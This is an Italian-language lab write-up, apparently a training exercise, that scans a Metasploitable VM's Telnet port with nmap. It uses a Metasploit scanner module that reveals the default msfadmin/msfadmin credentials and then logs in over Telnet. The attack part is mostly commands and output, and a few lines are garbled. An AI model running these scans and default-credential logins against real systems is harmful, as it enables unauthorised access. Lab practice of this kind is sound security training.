

Exploit Telnet con Metasploit

Come requisito primario abbiamo impostato le due macchine come richiesto

- Kali: 192.168.1.25
- Metasploit: 192.168.1.40

```
(kali@kali)~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::a00:27ff:fe22:464f prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:22:46:4f txqueuelen 1000 (Ethernet)
    RX packets 115 bytes 11588 (11.3 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 29 bytes 3430 (3.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

msfadmin@metasploitable:~$ ifconfig
eth0: Link encap:Ethernet HWaddr 08:00:27:ed:a5:b7
    inet addr:192.168.1.40 Bcast:192.168.1.255 Mask:255.255.255.0
    inet6 addr: fe80::a00:27ff:feed:a5b7:64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:129 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:0 (0.0 B) TX bytes:11919 (11.6 KB)
    Base address:0xd020 Memory:f0200000-f0220000
```

Una volta configurate le due macchine, facciamo un **Nmap -A -p** sulla porta di nostro interesse, ovvero la **23 Telnet**

```
(kali@kali)~$ nmap -A -p 23 192.168.1.40
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-06 03:28 EST
Nmap scan report for 192.168.1.40
Host is up (0.0038s latency).

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.94 seconds
```

Ora possiamo passare al nostro attacco verso Telnet:

```
Matching Modules
-----
#  Name
-  -
0  auxiliary/scanner/telnet/lantronix_telnet_version
anner Detection
1  auxiliary/scanner/telnet/telnet_version
ction

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_version

msf6 > use 1
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-
PASSWORD  no               no        The password for the specified username
RHOSTS    yes             yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     23              yes       The target port (TCP)
THREADS   1               yes       The number of concurrent threads (max one per host)
TIMEOUT   30              yes       Timeout for the Telnet probe
USERNAME  no              no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-
PASSWORD  no               no        The password for the specified username
RHOSTS    192.168.1.40    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     23              yes       The target port (TCP)
THREADS   1               yes       The number of concurrent threads (max one per host)
TIMEOUT   30              yes       Timeout for the Telnet probe
USERNAME  no              no        The username to authenticate as
```

- Cercheremo come prima cosa il nostro modulo che ci interessa tramite il **comando search telnet_version**
- Una volta trovato useremo quello che ci server, ovvero: **use auxiliary/scanner/telnet/telnet_version**
- Quando il nostro modulo sarà avviato controlleremo le opzioni necessarie tramite **Show Options** e vedremo che il campo **RSHOSTS** – Richiesto – sarà da compilare.
- **Set RHOSTS 192.168.1.40** , che è il nostro Ip di Meta, quello che ci interessa e poi ricontrolleremo di nuovo tramite il **Show Options** s'è stato impostato correttamente

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

- Successivamente avvieremo il nostro exploit con il comando **exploit**
- E come possiamo notare nel riquadro rosso, il nostro attacco avrà avuto successo, trovandoci i dati necessari per fare il Login\password di Metasploit

```

msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Dec 6 03:06:36 EST 2022 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$

```

- Infine andremmo a fare una verifica inserendo il comando **telnet 192.168.1.40** seguito dall'Ip della macchina dove il servizio ci richiederà di fare il Login.
- E da come possiamo notare siamo riusciti ad effettuare l'accesso, sfruttando la vulnerabilità di Telnet